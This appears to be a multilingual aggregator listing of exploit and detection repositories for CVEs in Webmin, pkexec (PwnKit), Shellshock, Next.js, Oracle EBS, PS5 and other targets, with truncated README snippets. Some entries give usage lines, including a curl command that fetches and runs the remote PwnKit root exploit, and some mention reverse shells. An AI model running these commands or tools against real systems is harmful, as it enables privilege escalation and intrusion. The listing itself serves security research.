web_exploit_detector

Web Exploit Detector Introduction The Web Exploit Detector is a Node.js application and NPM module used to detect possible infections, malicious code and suspicious files in web hosting environments. This application is intended to be run on web servers hosting one or more websites. Running the...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

CVE-2019-15107

CVE-2019-15107 CVE-2019-15107 वेबमिन पायथन3 में लिखा गया है। उपयोग python CVE-2019-15107.py https://172.16.20.134:10000 whoami...

CVE-2018-6065-exploit

Chrome V8 CVE-2018-6065 Exploit Análise no blog: https://b1tg.github.io/post/cve-2018-6065-analysis root@kitploit: git reset 0407506af3d9d7e2718be1d8759296165b218fcf --hard gclient sync -f tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug tools/dev/v8gen.py x64.release ninja -C...

KERNELexploits

PwnKit Exploit autonomo per CVE-2021-4034 - Escalation dei privilegi locali di Pkexec Utilizzo Dovrebbe funzionare subito sulle distribuzioni Linux vulnerabili basate su Ubuntu, Debian, Fedora e CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh...

CVE-2021-4034

CVE-2021-4034 pkexec يستغل هذا السكربت المكتوب بلغة بايثون الثغرة الموجودة في الملف pkexec للحصول على صلاحيات الجذر root دون الحاجة إلى تقديم بيانات الاعتماد. · يتحقق مما إذا كان الملف الثنائي يمتلك صلاحيات SUID، وفي هذه الحالة يكون الملف ضعيفًا. root@kitploit: usuario@gatogamer $ ls -la...

Exploitation-CVE-2020-8835

Questo repository non contiene un README...

CVE-2022-23270-PPTP

CVE-2022-23270 Un pacchetto per rilevare CVE-2022-23270, una vulnerabilità nell'implementazione PPTP di Microsoft. Esempio Puoi eseguire questa logica sul PCAP incluso nella directory testing\traces: root@kitploit: $ zeek -Cr CVE-2022-23270-exploited.pcap packages $ cat notice.log separator \x09...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

CGIShell

CGIShell shellshock CVE-2014-6271 CGI-Exploit Verwendung wie OpenSSH über eine CGI-Seite Verwendung python cgishell.py 'http://www.google.com/cve-2014-6271/poc.cgi' Screenshot Abhängigkeiten Windows benötigt pyreadline chardet wird nicht benötigt Zukunft TestCase hinzufügen HTTP-Login-Unterstützu...

Next.JS-CVE-2025-29927

Scanner di Vulnerabilità Next.js CVE-2025-29927 Uno strumento di sicurezza per rilevare e verificare applicazioni Next.js vulnerabili a CVE-2025-29927 Bypass dell'autenticazione. Funzionalità 🎯 Rilevamento accurato di Next.js con molteplici metodi di verifica 🔍 Confronto preciso delle versioni pe...

wp_drupal_timing_attack

wpdrupaltimingattack Script Python per sfruttare CVE-2014-9016 e CVE-2014-9034. Solo per scopi legali...

cve-2025-6907

CVE‑2025‑6907 Strumento di Exploit SQLi File: exploit.c Autore: Byte Reaper Servizio Target: CODEPROJECT Tipo: Iniezione SQL 🔎 Panoramica Questo è un exploit standalone in C per iniezione SQL che mira alla vulnerabilità CVE‑2025‑6907 nel servizio CODEPROJECT. Combina diverse tecniche avanzate:...

CVE-2025-24893-POC

CVE-2025-24893 Installa bun: root@kitploit: curl -fsSL https://bun.com/install | bash Per installare le dipendenze: root@kitploit: bun install Per eseguire: root@kitploit: bun run CVE-2025-24893.ts Questo progetto è stato creato utilizzando bun init in bun v1.2.19. Bun è un runtime JavaScript...

CVE-2025-70559

cambia la directory di upload nello script python python3 exploit.py LHOST LPORT...

CVE_2026_40369

CVE202640369 Exploit poc ed exp per CVE202640369, legati alla mia analisi, usano cmake. Il codice di debug, i file poc ed exp per la riproduzione di CVE202640369 sono scritti usando cmake. Come al solito, basta usare i normali comandi cmake per completare la compilazione. Articoli di analisi:...

CVE-2026-9198

Exploit CVE-2026-9198 IBM Langflow Qua sto solo ricaricando roba di qualcun altro, ancora una volta quindi se vuoi sapere la password guarda il video https://youtu.be/qoQbyAhrzKg?si=8Wogp3OHNo-0CvIQ...

ps5-umtxdbg

NOTE Il bug è stato trovato all'inizio di dicembre 2020, non da me, ma da un genio che ha guardato fbsd per 15 minuti e lo ha subito individuato 🙇‍♂️. Questa implementazione C++ è stata realizzata mentre si sperimentava per aumentare l'affidabilità dell'exploit dopo che il kernel della PS5 ha...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 Questo repository contiene gli artefatti di ricerca di ZeroZenX e un'implementazione completamente operativa dell'exploit per CVE-2025-61882, fornita per supportare la ricerca difensiva, la risposta agli incidenti, l'ingegneria del rilevamento e la verific...

sonos

sonos/amlogic haxx Hier findest du etwas Exploit- & Tool-Code, der Teil meines Vortrags über den Sonos One auf der Hack in the Box amsterdam 2023 war. Der EL3-Exploit kann verwendet werden, um deine OTP/eFUSE-Daten auszulesen. sonostool kann verwendet werden, um Entschlüsselungsschlüssel für...